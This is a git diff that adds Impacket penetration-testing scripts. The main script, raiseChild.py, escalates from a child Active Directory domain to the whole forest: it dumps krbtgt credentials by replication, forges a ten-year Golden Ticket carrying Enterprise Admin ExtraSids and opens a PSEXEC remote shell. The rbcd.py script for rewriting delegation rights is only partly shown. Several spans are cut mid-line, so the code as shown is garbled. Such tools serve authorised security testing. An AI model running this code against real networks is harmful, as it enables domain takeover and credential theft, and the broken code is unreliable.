' '.join(options.command) + if command == ' ': + command = 'cmd.exe' + + executer = PSEXEC(command, options.path, options.file, options.c, int(options.port), username, password, domain, options.hashes, + options.aesKey, options.k, options.dc_ip, options.service_name, options.remote_binary_name) + executer.run(remoteName, options.target_ip) diff --git a/examples/raiseChild.py b/examples/raiseChild.py new file mode 100644 index 0000000..2133dbb --- /dev/null +++ b/examples/raiseChild.py @@ -0,0 +1,1330 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# This script implements a child-domain to forest privilege escalation +# as detailed by Sean Metcalf (@PyroTek3) at https://adsecurity.org/?p=1640. We will +# be (ab)using the concept of Golden Tickets and ExtraSids researched and implemented +# by Benjamin Delpy (@gentilkiwi) in mimikatz (https://github.com/gentilkiwi/mimikatz). +# The idea of automating all these tasks came from @mubix. +# +# The workflow is as follows: +# Input: +# 1) child-domain Admin credentials (password, hashes or aesKey) in the form of 'domain/username[:password]' +# The domain specified MUST be the domain FQDN. +# 2) Optionally a pathname to save the generated golden ticket (-w switch) +# 3) Optionally a target-user RID to get credentials (-targetRID switch) +# Administrator by default. +# 4) Optionally a target to PSEXEC with the target-user privileges to (-target-exec switch). +# Enterprise Admin by default. +# +# Process: +# 1) Find out where the child domain controller is located and get its info (via [MS-NRPC]) +# 2) Find out what the forest FQDN is (via [MS-NRPC]) +# 3) Get the forest's Enterprise Admin SID (via [MS-LSAT]) +# 4) Get the child domain's krbtgt credentials (via [MS-DRSR]) +# 5) Create a Golden Ticket specifying SID from 3) inside the KERB_VALIDATION_INFO's ExtraSids array +# and setting expiration 10 years from now +# 6) Use the generated ticket to log into the forest and get the target user info (krbtgt/admin by default) +# 7) If file was specified, save the golden ticket in ccache format +# 8) If target was specified, a PSEXEC shell is launched +# +# Output: +# 1) Target user credentials (Forest's krbtgt/admin credentials by default) +# 2) A golden ticket saved in ccache for future fun and profit +# 3) PSExec Shell with the target-user privileges (Enterprise Admin privileges by default) at target-exec +# parameter. +# +# IMPORTANT NOTE: Your machine MUST be able to resolve all the domains from the child domain up to the +# forest. Easiest way to do is by adding the forest's DNS to your resolv.conf or similar +# +# E.G: +# Just in case, Microsoft says it all (https://technet.microsoft.com/en-us/library/cc759073(v=ws.10).aspx): +# A forest is the only component of the Active Directory logical structure that is a security boundary. +# By contrast, a domain is not a security boundary because it is not possible for administrators from one domain +# to prevent a malicious administrator from another domain within the forest from accessing data in their domain. +# A domain is, however, the administrative boundary for managing objects, such as users, groups, and computers. +# In addition, each domain has its own individual security policies and trust relationships with other domains. +# +# Author: +# Alberto Solino (@agsolino) +# + +from __future__ import division +from __future__ import print_function +import argparse +import datetime +import logging +import random +import string +import sys +import os +import cmd +import time +from threading import Thread, Lock +from binascii import unhexlify, hexlify +from socket import gethostbyname +from struct import unpack +from six import PY3 + +try: + import pyasn1 +except ImportError: + logging.critical('This module needs pyasn1 installed') + logging.critical('You can get it from https://pypi.python.org/pypi/pyasn1') + sys.exit(1) +from impacket import version +from impacket.krb5.types import Principal, KerberosTime +from impacket.krb5 import constants +from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS, KerberosError +from impacket.krb5.asn1 import AS_REP, AuthorizationData, AD_IF_RELEVANT, EncTicketPart +from impacket.krb5.crypto import Key, _enctype_table, _checksum_table, Enctype +from impacket.dcerpc.v5.ndr import NDRULONG +from impacket.dcerpc.v5.samr import NULL, GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, SE_GROUP_ENABLED +from pyasn1.codec.der import decoder, encoder +from pyasn1.type.univ import noValue +from impacket.examples import logger +from impacket.examples.utils import parse_credentials +from impacket.ntlm import LMOWFv1, NTOWFv1 +from impacket.dcerpc.v5.dtypes import RPC_SID, MAXIMUM_ALLOWED +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE +from impacket.dcerpc.v5.nrpc import MSRPC_UUID_NRPC, hDsrGetDcNameEx +from impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, POLICY_LOOKUP_NAMES, LSAP_LOOKUP_LEVEL, hLsarLookupSids +from impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS, hLsarOpenPolicy2 +from impacket.krb5.pac import KERB_SID_AND_ATTRIBUTES, PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, \ + PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, \ + PAC_PRIVSVR_CHECKSUM, PACTYPE, PKERB_SID_AND_ATTRIBUTES_ARRAY, VALIDATION_INFO +from impacket.dcerpc.v5 import transport, drsuapi, epm, samr +from impacket.smbconnection import SessionError +from impacket.nt_errors import STATUS_NO_LOGON_SERVERS +from impacket.smbconnection import SMBConnection, smb +from impacket.structure import Structure +from impacket.examples import remcomsvc, serviceinstall + +################################################################################ +# HELPER FUNCTIONS +################################################################################ + +class RemComMessage(Structure): + structure = ( + ('Command','4096s=""'), + ('WorkingDir','260s=""'), + ('Priority',' 0: + try: + s.waitNamedPipe(tid,pipe) + pipeReady = True + except: + tries -= 1 + time.sleep(2) + pass + + if tries == 0: + raise Exception('Pipe not ready, aborting') + + fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80) + + return fid + +class Pipes(Thread): + def __init__(self, transport, pipe, permissions, TGS=None, share=None): + Thread.__init__(self) + self.server = 0 + self.transport = transport + self.credentials = transport.get_credentials() + self.tid = 0 + self.fid = 0 + self.share = share + self.port = transport.get_dport() + self.pipe = pipe + self.permissions = permissions + self.TGS = TGS + self.daemon = True + + def connectPipe(self): + try: + lock.acquire() + global dialect + self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), + sess_port=self.port, preferredDialect=dialect) + user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials + self.server.login(user, passwd, domain, lm, nt) + lock.release() + self.tid = self.server.connectTree('IPC$') + + self.server.waitNamedPipe(self.tid, self.pipe) + self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80) + self.server.setTimeout(1000000) + except Exception: + logging.critical("Something wen't wrong connecting the pipes(%s), try again" % self.__class__) + +class RemoteStdOutPipe(Pipes): + def __init__(self, transport, pipe, permisssions): + Pipes.__init__(self, transport, pipe, permisssions) + + def run(self): + self.connectPipe() + while True: + try: + ans = self.server.readFile(self.tid,self.fid, 0, 1024) + except: + pass + else: + try: + global LastDataSent + if ans != LastDataSent: + sys.stdout.write(ans.decode('cp437')) + sys.stdout.flush() + else: + # Don't echo what I sent, and clear it up + LastDataSent = '' + # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars, + # it will give false positives tho.. we should find a better way to handle this. + if LastDataSent > 10: + LastDataSent = '' + except: + pass + +class RemoteStdErrPipe(Pipes): + def __init__(self, transport, pipe, permisssions): + Pipes.__init__(self, transport, pipe, permisssions) + + def run(self): + self.connectPipe() + while True: + try: + ans = self.server.readFile(self.tid,self.fid, 0, 1024) + except: + pass + else: + try: + sys.stderr.write(str(ans)) + sys.stderr.flush() + except: + pass + +class RemoteShell(cmd.Cmd): + def __init__(self, server, port, credentials, tid, fid, TGS, share): + cmd.Cmd.__init__(self, False) + self.prompt = '\x08' + self.server = server + self.transferClient = None + self.tid = tid + self.fid = fid + self.credentials = credentials + self.share = share + self.port = port + self.TGS = TGS + self.intro = '[!] Press help for extra shell commands' + + def connect_transferClient(self): + self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port, + preferredDialect=dialect) + user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials + self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGS=self.TGS, useCache=False) + + def do_help(self, line): + print(""" + lcd {path} - changes the current local directory to {path} + exit - terminates the server process (and this session) + put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s) + get {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir + ! {cmd} - executes a local shell cmd +""" % (self.share, self.share)) + self.send_data('\r\n', False) + + def do_shell(self, s): + os.system(s) + self.send_data('\r\n') + + def do_get(self, src_path): + try: + if self.transferClient is None: + self.connect_transferClient() + + import ntpath + filename = ntpath.basename(src_path) + fh = open(filename,'wb') + logging.info("Downloading %s\\%s" % (self.share, src_path)) + self.transferClient.getFile(self.share, src_path, fh.write) + fh.close() + except Exception as e: + logging.error(str(e)) + pass + + self.send_data('\r\n') + + def do_put(self, s): + try: + if self.transferClient is None: + self.connect_transferClient() + params = s.split(' ') + if len(params) > 1: + src_path = params[0] + dst_path = params[1] + elif len(params) == 1: + src_path = params[0] + dst_path = '/' + + src_file = os.path.basename(src_path) + fh = open(src_path, 'rb') + f = dst_path + '/' + src_file + pathname = f.replace('/','\\') + logging.info("Uploading %s to %s\\%s" % (src_file, self.share, dst_path)) + if PY3: + self.transferClient.putFile(self.share, pathname, fh.read) + else: + self.transferClient.putFile(self.share, pathname.decode(sys.stdin.encoding), fh.read) + fh.close() + except Exception as e: + logging.error(str(e)) + pass + + self.send_data('\r\n') + + + def do_lcd(self, s): + if s == '': + print(os.getcwd()) + else: + try: + os.chdir(s) + except Exception as e: + logging.error(str(e)) + self.send_data('\r\n') + + def emptyline(self): + self.send_data('\r\n') + return + + def default(self, line): + if PY3: + self.send_data(line.encode('cp437')+b'\r\n') + else: + self.send_data(line.decode(sys.stdin.encoding).encode('cp437')+'\r\n') + + def send_data(self, data, hideOutput = True): + if hideOutput is True: + global LastDataSent + LastDataSent = data + else: + LastDataSent = '' + self.server.writeFile(self.tid, self.fid, data) + +class RemoteStdInPipe(Pipes): + def __init__(self, transport, pipe, permisssions, TGS=None, share=None): + Pipes.__init__(self, transport, pipe, permisssions, TGS, share) + + def run(self): + self.connectPipe() + shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.TGS, self.share) + shell.cmdloop() + +class RAISECHILD: + def __init__(self, target = None, username = '', password = '', domain='', options = None, command=''): + self.__rid = 0 + self.__targetRID = options.targetRID + self.__target = target + self.__kdcHost = None + self.__command = command + self.__writeTGT = options.w + self.__domainSid = '' + self.__doKerberos = options.k + self.__drsr = None + self.__ppartialAttrSet = None + self.__creds = {} + + self.__creds['username'] = username + self.__creds['password'] = password + self.__creds['domain'] = domain + self.__creds['lmhash'] = '' + self.__creds['nthash'] = '' + self.__creds['aesKey'] = options.aesKey + self.__creds['TGT'] = None + self.__creds['TGS'] = None + + #if options.dc_ip is not None: + # self.__kdcHost = options.dc_ip + #else: + # self.__kdcHost = domain + self.__kdcHost = None + + if options.hashes is not None: + lmhash, nthash = options.hashes.split(':') + self.__creds['lmhash'] = unhexlify(lmhash) + self.__creds['nthash'] = unhexlify(nthash) + + # Transform IP addresses into FQDNs + if self.__target is not None: + self.__target = self.getDNSMachineName(self.__target) + logging.debug('getDNSMachineName for %s returned %s' % (target, self.__target)) + + NAME_TO_ATTRTYP = { + 'objectSid': 0x90092, + 'userPrincipalName': 0x90290, + 'sAMAccountName': 0x900DD, + 'unicodePwd': 0x9005A, + 'dBCSPwd': 0x90037, + 'supplementalCredentials': 0x9007D, + } + + ATTRTYP_TO_ATTID = { + 'objectSid': '1.2.840.113556.1.4.146', + 'userPrincipalName': '1.2.840.113556.1.4.656', + 'sAMAccountName': '1.2.840.113556.1.4.221', + 'unicodePwd': '1.2.840.113556.1.4.90', + 'dBCSPwd': '1.2.840.113556.1.4.55', + 'supplementalCredentials': '1.2.840.113556.1.4.125', + } + + KERBEROS_TYPE = { + 1:'dec-cbc-crc', + 3:'des-cbc-md5', + 17:'aes128-cts-hmac-sha1-96', + 18:'aes256-cts-hmac-sha1-96', + 0xffffff74:'rc4_hmac', + } + + HMAC_SHA1_96_AES256 = 0x10 + + def getChildInfo(self, creds): + logging.debug('Calling NRPC DsrGetDcNameEx()') + target = creds['domain'] + if self.__doKerberos is True: + # In Kerberos we need the target's name + machineNameOrIp = self.getDNSMachineName(gethostbyname(target)) + logging.debug('%s is %s' % (gethostbyname(target), machineNameOrIp)) + else: + machineNameOrIp = target + + stringBinding = r'ncacn_np:%s[\pipe\netlogon]' % machineNameOrIp + + rpctransport = transport.DCERPCTransportFactory(stringBinding) + + if hasattr(rpctransport, 'set_credentials'): + rpctransport.set_credentials(creds['username'], creds['password'], creds['domain'], creds['lmhash'], + creds['nthash'], creds['aesKey']) + if self.__doKerberos or creds['aesKey'] is not None: + rpctransport.set_kerberos(True) + + dce = rpctransport.get_dce_rpc() + dce.connect() + dce.bind(MSRPC_UUID_NRPC) + + resp = hDsrGetDcNameEx(dce, NULL, NULL, NULL, NULL, 0) + #resp.dump() + return resp['DomainControllerInfo']['DomainName'][:-1], resp['DomainControllerInfo']['DnsForestName'][:-1] + + @staticmethod + def getMachineName(machineIP): + try: + s = SMBConnection(machineIP, machineIP) + s.login('', '') + except OSError as e: + if str(e).find('timed out') > 0: + raise Exception('The connection is timed out. Probably 445/TCP port is closed. Try to specify ' + 'corresponding NetBIOS name or FQDN instead of IP address') + else: + raise + except SessionError as e: + if str(e).find('STATUS_NOT_SUPPORTED') > 0: + raise Exception('The SMB request is not supported. Probably NTLM is disabled. Try to specify ' + 'corresponding NetBIOS name or FQDN as the value of the -dc-host option.') + else: + raise + except Exception: + logging.debug('Error while anonymous logging into %s' % machineIP) + else: + s.logoff() + return s.getServerName() + + @staticmethod + def getDNSMachineName(machineIP): + try: + s = SMBConnection(machineIP, machineIP) + s.login('', '') + except OSError as e: + if str(e).find('timed out') > 0: + raise Exception('The connection is timed out. Probably 445/TCP port is closed. Try to specify ' + 'corresponding NetBIOS name or FQDN instead of IP address.') + else: + raise + except SessionError as e: + if str(e).find('STATUS_NOT_SUPPORTED') > 0: + raise Exception('The SMB request is not supported. Probably NTLM is disabled. Try to specify ' + 'corresponding NetBIOS name or FQDN as the value of the -dc-host option.') + else: + raise + except Exception: + logging.debug('Error while anonymous logging into %s' % machineIP) + else: + s.logoff() + return s.getServerName() + '.' + s.getServerDNSDomainName() + + def getParentSidAndTargetName(self, parentDC, creds, targetRID): + if self.__doKerberos is True: + # In Kerberos we need the target's name + machineNameOrIp = self.getDNSMachineName(gethostbyname(parentDC)) + logging.debug('%s is %s' % (gethostbyname(parentDC), machineNameOrIp)) + else: + machineNameOrIp = gethostbyname(parentDC) + + logging.debug('Calling LSAT hLsarQueryInformationPolicy2()') + stringBinding = r'ncacn_np:%s[\pipe\lsarpc]' % machineNameOrIp + + rpctransport = transport.DCERPCTransportFactory(stringBinding) + + if hasattr(rpctransport, 'set_credentials'): + rpctransport.set_credentials(creds['username'], creds['password'], creds['domain'], creds['lmhash'], + creds['nthash'], creds['aesKey']) + rpctransport.set_kerberos(self.__doKerberos) + + dce = rpctransport.get_dce_rpc() + dce.connect() + dce.bind(MSRPC_UUID_LSAT) + + resp = hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | POLICY_LOOKUP_NAMES) + policyHandle = resp['PolicyHandle'] + + resp = hLsarQueryInformationPolicy2(dce, policyHandle, POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation) + + domainSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical() + + # Now that we have the Sid, let's get the Administrator's account name + sids = list() + sids.append(domainSid+'-'+targetRID) + resp = hLsarLookupSids(dce, policyHandle, sids, LSAP_LOOKUP_LEVEL.LsapLookupWksta) + targetName = resp['TranslatedNames']['Names'][0]['Name'] + + return domainSid, targetName + + def __connectDrds(self, domainName, creds): + if self.__doKerberos is True or creds['TGT'] is not None: + # In Kerberos we need the target's name + machineNameOrIp = self.getDNSMachineName(gethostbyname(domainName)) + logging.debug('%s is %s' % (gethostbyname(domainName), machineNameOrIp)) + else: + machineNameOrIp = gethostbyname(domainName) + stringBinding = epm.hept_map(machineNameOrIp, drsuapi.MSRPC_UUID_DRSUAPI, + protocol='ncacn_ip_tcp') + rpc = transport.DCERPCTransportFactory(stringBinding) + if hasattr(rpc, 'set_credentials'): + # This method exists only for selected protocol sequences. + if creds['TGT'] is not None: + rpc.set_credentials(creds['username'],'', creds['domain'], TGT=creds['TGT']) + rpc.set_kerberos(True) + else: + rpc.set_credentials(creds['username'], creds['password'], creds['domain'], creds['lmhash'], + creds['nthash'], creds['aesKey']) + rpc.set_kerberos(self.__doKerberos) + self.__drsr = rpc.get_dce_rpc() + self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) + if self.__doKerberos or creds['TGT'] is not None: + self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) + self.__drsr.connect() + self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI) + + request = drsuapi.DRSBind() + request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID + drs = drsuapi.DRS_EXTENSIONS_INT() + drs['cb'] = len(drs) #- 4 + drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 |\ + drsuapi.DRS_EXT_STRONG_ENCRYPTION + drs['SiteObjGuid'] = drsuapi.NULLGUID + drs['Pid'] = 0 + drs['dwReplEpoch'] = 0 + drs['dwFlagsExt'] = 0 + drs['ConfigObjGUID'] = drsuapi.NULLGUID + drs['dwExtCaps'] = 127 + request['pextClient']['cb'] = len(drs.getData()) + request['pextClient']['rgb'] = list(drs.getData()) + resp = self.__drsr.request(request) + + # Let's dig into the answer to check the dwReplEpoch. This field should match the one we send as part of + # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data. + drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT() + + # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right. + ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\x00' * ( + len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb']) + drsExtensionsInt.fromString(ppextServer) + + if drsExtensionsInt['dwReplEpoch'] != 0: + # Different epoch, we have to call DRSBind again + if logging.getLogger().level == logging.DEBUG: + logging.debug("DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again" % drsExtensionsInt[ + 'dwReplEpoch']) + drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch'] + request['pextClient']['cb'] = len(drs) + request['pextClient']['rgb'] = list(drs.getData()) + resp = self.__drsr.request(request) + + self.__hDrs = resp['phDrs'] + + # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges + resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, domainName, 2) + + if resp['pmsgOut']['V2']['cItems'] > 0: + self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid'] + else: + logging.error("Couldn't get DC info for domain %s" % domainName) + raise Exception('Fatal, aborting') + + def DRSCrackNames(self, target, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME, + formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name='', creds=None): + if self.__drsr is None: + self.__connectDrds(target, creds) + + resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,)) + return resp + + def __decryptSupplementalInfo(self, record, prefixTable=None): + # This is based on [MS-SAMR] 2.2.10 Supplemental Credentials Structures + plainText = None + for attr in record['pmsgOut']['V6']['pObjects']['Entinf']['AttrBlock']['pAttr']: + try: + attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp']) + LOOKUP_TABLE = self.ATTRTYP_TO_ATTID + except Exception as e: + logging.debug('Failed to execute OidFromAttid with error %s' % e) + # Fallbacking to fixed table and hope for the best + attId = attr['attrTyp'] + LOOKUP_TABLE = self.NAME_TO_ATTRTYP + + if attId == LOOKUP_TABLE['supplementalCredentials']: + if attr['AttrVal']['valCount'] > 0: + blob = b''.join(attr['AttrVal']['pAVal'][0]['pVal']) + plainText = drsuapi.DecryptAttributeValue(self.__drsr, blob) + if len(plainText) < 24: + plainText = None + + if plainText: + try: + userProperties = samr.USER_PROPERTIES(plainText) + except: + # On some old w2k3 there might be user properties that don't + # match [MS-SAMR] structure, discarding them + return + propertiesData = userProperties['UserProperties'] + for propertyCount in range(userProperties['PropertyCount']): + userProperty = samr.USER_PROPERTY(propertiesData) + propertiesData = propertiesData[len(userProperty):] + if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys': + propertyValueBuffer = unhexlify(userProperty['PropertyValue']) + kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer) + data = kerbStoredCredentialNew['Buffer'] + for credential in range(kerbStoredCredentialNew['CredentialCount']): + keyDataNew = samr.KERB_KEY_DATA_NEW(data) + data = data[len(keyDataNew):] + keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']] + + if keyDataNew['KeyType'] in self.KERBEROS_TYPE: + # Give me only the AES256 + if keyDataNew['KeyType'] == 18: + return hexlify(keyValue) + + return None + + def __decryptHash(self, record, prefixTable=None): + logging.debug('Decrypting hash for user: %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1]) + rid = 0 + LMHash = None + NTHash = None + for attr in record['pmsgOut']['V6']['pObjects']['Entinf']['AttrBlock']['pAttr']: + try: + attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp']) + LOOKUP_TABLE = self.ATTRTYP_TO_ATTID + except Exception as e: + logging.debug('Failed to execute OidFromAttid with error %s, fallbacking to fixed table' % e) + # Fallbacking to fixed table and hope for the best + attId = attr['attrTyp'] + LOOKUP_TABLE = self.NAME_TO_ATTRTYP + if attId == LOOKUP_TABLE['dBCSPwd']: + if attr['AttrVal']['valCount'] > 0: + encrypteddBCSPwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal']) + encryptedLMHash = drsuapi.DecryptAttributeValue(self.__drsr, encrypteddBCSPwd) + else: + LMHash = LMOWFv1('', '') + elif attId == LOOKUP_TABLE['unicodePwd']: + if attr['AttrVal']['valCount'] > 0: + encryptedUnicodePwd = b''.join(attr['AttrVal']['pAVal'][0]['pVal']) + encryptedNTHash = drsuapi.DecryptAttributeValue(self.__drsr, encryptedUnicodePwd) + else: + NTHash = NTOWFv1('', '') + elif attId == LOOKUP_TABLE['objectSid']: + if attr['AttrVal']['valCount'] > 0: + objectSid = b''.join(attr['AttrVal']['pAVal'][0]['pVal']) + rid = unpack(' file') + #parser.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller (needed to get the user''s SID). If omitted it will use the domain part (FQDN) specified in the target parameter') + parser.add_argument('-target-exec', action='store',metavar = "target address", help='Target host you want to PSEXEC ' + 'against once the main attack finished') + parser.add_argument('-targetRID', action='store', metavar = "RID", default='500', help='Target user RID you want to ' + 'dump credentials. Administrator (500) by default.') + + group = parser.add_argument_group('authentication') + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' + 'ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + + if len(sys.argv)==1: + parser.print_help() + print("\nExamples: ") + print("\tpython raiseChild.py childDomain.net/adminuser\n") + print("\tthe password will be asked, or\n") + print("\tpython raiseChild.py childDomain.net/adminuser:mypwd\n") + print("\tor if you just have the hashes\n") + print("\tpython raiseChild.py -hashes LMHASH:NTHASH childDomain.net/adminuser\n") + + print("\tThis will perform the attack and then psexec against target-exec as Enterprise Admin") + print("\tpython raiseChild.py -target-exec targetHost childDomainn.net/adminuser\n") + print("\tThis will perform the attack and then psexec against target-exec as User with RID 1101") + print("\tpython raiseChild.py -target-exec targetHost -targetRID 1101 childDomainn.net/adminuser\n") + print("\tThis will save the final goldenTicket generated in the ccache target file") + print("\tpython raiseChild.py -w ccache childDomain.net/adminuser\n") + sys.exit(1) + + options = parser.parse_args() + + # Init the example's logger theme + logger.init(options.ts) + + domain, username, password = parse_credentials(options.target) + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + if domain == '': + logging.critical('Domain should be specified!') + sys.exit(1) + + if password == '' and username != '' and options.hashes is None and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + if options.aesKey is not None: + options.k = True + + commands = 'cmd.exe' + + try: + pacifier = RAISECHILD(options.target_exec, username, password, domain, options, commands) + pacifier.exploit() + except SessionError as e: + logging.critical(str(e)) + if e.getErrorCode() == STATUS_NO_LOGON_SERVERS: + logging.info('Try using Kerberos authentication (-k switch). That might help solving the STATUS_NO_LOGON_SERVERS issue') + except Exception as e: + logging.debug('Exception:', exc_info=True) + logging.critical(str(e)) + if hasattr(e, 'error_code'): + if e.error_code == 0xc0000073: + logging.info("Account not found in domain. (RID:%s)" % options.targetRID) diff --git a/examples/rbcd.py b/examples/rbcd.py new file mode 100644 index 0000000..0521bc3 --- /dev/null +++ b/examples/rbcd.py @@ -0,0 +1,553 @@ +#!/usr/bin/env python3 +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Python script for handling the msDS-AllowedToActOnBehalfOfOtherIdentity property of a target computer +# +# Authors: +# Remi Gascou (@podalirius_) +# Charlie Bromberg (@_nwodtuhs) +# +# ToDo: +# [ ]: allow users to set a ((-delegate-from-sid or -delegate-from-dn) and -delegate-to-dn) in order to skip ldapdomaindump and explicitely set the SID/DN + +import argparse +import logging +import sys +import traceback +import ldap3 +import ssl +import ldapdomaindump +from binascii import unhexlify +from ldap3.protocol.formatters.formatters import format_sid + +from impacket import version +from impacket.examples import logger, utils +from impacket.ldap import ldaptypes +from impacket.smbconnection import SMBConnection +from impacket.spnego import SPNEGO_NegTokenInit, TypesMech +from ldap3.utils.conv import escape_filter_chars + + +def get_machine_name(args, domain): + if args.dc_ip is not None: + s = SMBConnection(args.dc_ip, args.dc_ip) + else: + s = SMBConnection(domain, domain) + try: + s.login('', '') + except Exception: + if s.getServerName() == '': + raise Exception('Error while anonymous logging into %s' % domain) + else: + s.logoff() + return s.getServerName() + + +def ldap3_kerberos_login(connection, target, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, + TGT=None, TGS=None, useCache=True): + from pyasn1.codec.ber import encoder, decoder + from pyasn1.type.univ import noValue + """ + logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. + :param string user: username + :param string password: password for the user + :param string domain: domain where the account is valid for (required) + :param string lmhash: LMHASH used to authenticate using hashes (password is not used) + :param string nthash: NTHASH used to authenticate using hashes (password is not used) + :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication + :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) + :param struct TGT: If there's a TGT available, send the structure here and it will be used + :param struct TGS: same for TGS. See smb3.py for the format + :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False + :return: True, raises an Exception if error. + """ + + if lmhash != '' or nthash != '': + if len(lmhash) % 2: + lmhash = '0' + lmhash + if len(nthash) % 2: + nthash = '0' + nthash + try: # just in case they were converted already + lmhash = unhexlify(lmhash) + nthash = unhexlify(nthash) + except TypeError: + pass + + # Importing down here so pyasn1 is not required if kerberos is not used. + from impacket.krb5.ccache import CCache + from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set + from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS + from impacket.krb5 import constants + from impacket.krb5.types import Principal, KerberosTime, Ticket + import datetime + + if TGT is not None or TGS is not None: + useCache = False + + target = 'ldap/%s' % target + if useCache: + domain, user, TGT, TGS = CCache.parseFile(domain, user, target) + + # First of all, we need to get a TGT for the user + userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + if TGT is None: + if TGS is None: + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, + aesKey, kdcHost) + else: + tgt = TGT['KDC_REP'] + cipher = TGT['cipher'] + sessionKey = TGT['sessionKey'] + + if TGS is None: + serverName = Principal(target, type=constants.PrincipalNameType.NT_SRV_INST.value) + tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, + sessionKey) + else: + tgs = TGS['KDC_REP'] + cipher = TGS['cipher'] + sessionKey = TGS['sessionKey'] + + # Let's build a NegTokenInit with a Kerberos REQ_AP + + blob = SPNEGO_NegTokenInit() + + # Kerberos + blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] + + # Let's extract the ticket from the TGS + tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] + ticket = Ticket() + ticket.from_asn1(tgs['ticket']) + + # Now let's build the AP_REQ + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + + opts = [] + apReq['ap-options'] = constants.encodeFlags(opts) + 